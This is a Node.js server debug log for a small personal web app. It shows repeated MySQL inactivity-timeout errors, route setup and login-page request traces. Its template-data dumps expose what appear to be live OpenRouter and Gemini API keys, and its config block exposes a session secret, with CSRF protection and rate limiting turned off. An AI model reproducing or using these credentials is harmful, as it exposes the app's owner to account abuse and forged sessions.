    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 20:30:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 21:46:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 21:46:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 22:05:15' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 22:05:15' as DATETIME)"
}
2025-12-30T22:09:32.629Z server-connect:router Serving templateView /
2025-12-30T22:09:32.630Z server-connect:app Executing action step identify
2025-12-30T22:09:32.630Z server-connect:app options: { provider: 'security' }
2025-12-30T22:09:32.630Z server-connect:auth No login cookie found
2025-12-30T22:09:32.630Z server-connect:output identity: false
2025-12-30T22:09:32.630Z server-connect:app Executing action step restrict
2025-12-30T22:09:32.631Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-30T22:09:32.631Z server-connect:output restrict: undefined
2025-12-30T22:09:32.730Z server-connect:router Serving templateView /login
2025-12-30T22:09:32.730Z server-connect:app Executing action step identify
2025-12-30T22:09:32.731Z server-connect:app options: { provider: 'security' }
2025-12-30T22:09:32.731Z server-connect:auth No login cookie found
2025-12-30T22:09:32.731Z server-connect:output identity: false
2025-12-30T22:09:32.731Z server-connect:router Render template layouts/authentication
2025-12-30T22:09:32.731Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.29.119.42',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-31T22:09:32.730Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.29.119.42',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.29.119.42',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 22:59:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 22:59:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 23:43:13' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 23:43:13' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-30 23:55:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-30 23:55:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 01:11:36' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 01:11:36' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 01:20:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 01:20:37' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 03:05:37' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 03:05:37' as DATETIME)"
}
2025-12-31T03:12:22.568Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2025-12-31T03:12:24.766Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2025-12-31T03:12:25.633Z server-connect:setup:upload Upload middleware configured.
2025-12-31T03:12:25.633Z server-connect:secure CSRF Protection initialized
2025-12-31T03:12:25.639Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2025-12-31T03:12:25.640Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2025-12-31T03:12:25.640Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2025-12-31T03:12:25.647Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2025-12-31T03:12:25.653Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2025-12-31T03:12:25.656Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2025-12-31T03:12:25.666Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2025-12-31T03:12:25.680Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2025-12-31T03:12:25.684Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2025-12-31T03:12:25.690Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2025-12-31T03:12:25.700Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2025-12-31T03:12:25.704Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2025-12-31T03:12:25.712Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2025-12-31T03:12:25.712Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2025-12-31T03:12:25.719Z server-connect:setup:routes Api route /api/health/get-exercises(.json)? created
2025-12-31T03:12:25.721Z server-connect:setup:routes Api route /api/health/get-schedule(.json)? created
2025-12-31T03:12:25.723Z server-connect:setup:routes Api route /api/health/get-weight-log(.json)? created
2025-12-31T03:12:25.793Z server-connect:setup:routes Api route /api/health/log-set(.json)? created
2025-12-31T03:12:25.795Z server-connect:setup:routes Api route /api/health/manage-calories(.json)? created
2025-12-31T03:12:25.801Z server-connect:setup:routes Api route /api/health/manage-schedule(.json)? created
2025-12-31T03:12:25.803Z server-connect:setup:routes Api route /api/health/manage-weight(.json)? created
2025-12-31T03:12:25.811Z server-connect:setup:routes Api route /api/health/todays-calories(.json)? created
2025-12-31T03:12:25.817Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2025-12-31T03:12:25.819Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2025-12-31T03:12:25.825Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2025-12-31T03:12:25.827Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2025-12-31T03:12:25.831Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2025-12-31T03:12:25.833Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2025-12-31T03:12:25.835Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2025-12-31T03:12:25.842Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2025-12-31T03:12:25.842Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2025-12-31T03:12:25.844Z server-connect:setup:routes Api route /api/test(.json)? created
2025-12-31T03:12:26.332Z server-connect:router Serving templateView /
2025-12-31T03:12:26.334Z server-connect:app Executing action step identify
2025-12-31T03:12:26.334Z server-connect:app options: { provider: 'security' }
2025-12-31T03:12:26.336Z server-connect:auth No login cookie found
2025-12-31T03:12:26.336Z server-connect:output identity: false
2025-12-31T03:12:26.336Z server-connect:app Executing action step restrict
2025-12-31T03:12:26.337Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-31T03:12:26.340Z server-connect:output restrict: undefined
2025-12-31T03:12:26.441Z server-connect:router Serving templateView /login
2025-12-31T03:12:26.442Z server-connect:app Executing action step identify
2025-12-31T03:12:26.442Z server-connect:app options: { provider: 'security' }
2025-12-31T03:12:26.442Z server-connect:auth No login cookie found
2025-12-31T03:12:26.442Z server-connect:output identity: false
2025-12-31T03:12:26.442Z server-connect:router Render template layouts/authentication
2025-12-31T03:12:26.443Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.29.119.42',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-01-01T03:12:26.440Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.29.119.42',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.29.119.42',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-31 05:57:14' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-31 05:57:14' as DATETIME)"
}
2025-12-31T06:17:55.784Z server-connect:router Serving templateView /
2025-12-31T06:17:55.786Z server-connect:app Executing action step identify
2025-12-31T06:17:55.786Z server-connect:app options: { provider: 'security' }
2025-12-31T06:17:55.786Z server-connect:auth No login cookie found
2025-12-31T06:17:55.786Z server-connect:output identity: false
2025-12-31T06:17:55.786Z server-connect:app Executing action step restrict
2025-12-31T06:17:55.786Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-31T06:17:55.787Z server-connect:output restrict: undefined
2025-12-31T06:17:55.910Z server-connect:router Serving templateView /login
2025-12-31T06:17:55.911Z server-connect:app Executing action step identify
2025-12-31T06:17:55.911Z server-connect:app options: { provider: 'security' }
2025-12-31T06:17:55.911Z server-connect:auth No login cookie found
2025-12-31T06:17:55.911Z server-connect:output identity: false
2025-12-31T06:17:55.911Z server-connect:router Render template layouts/authentication
2025-12-31T06:17:55.911Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '174.129.9.123',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
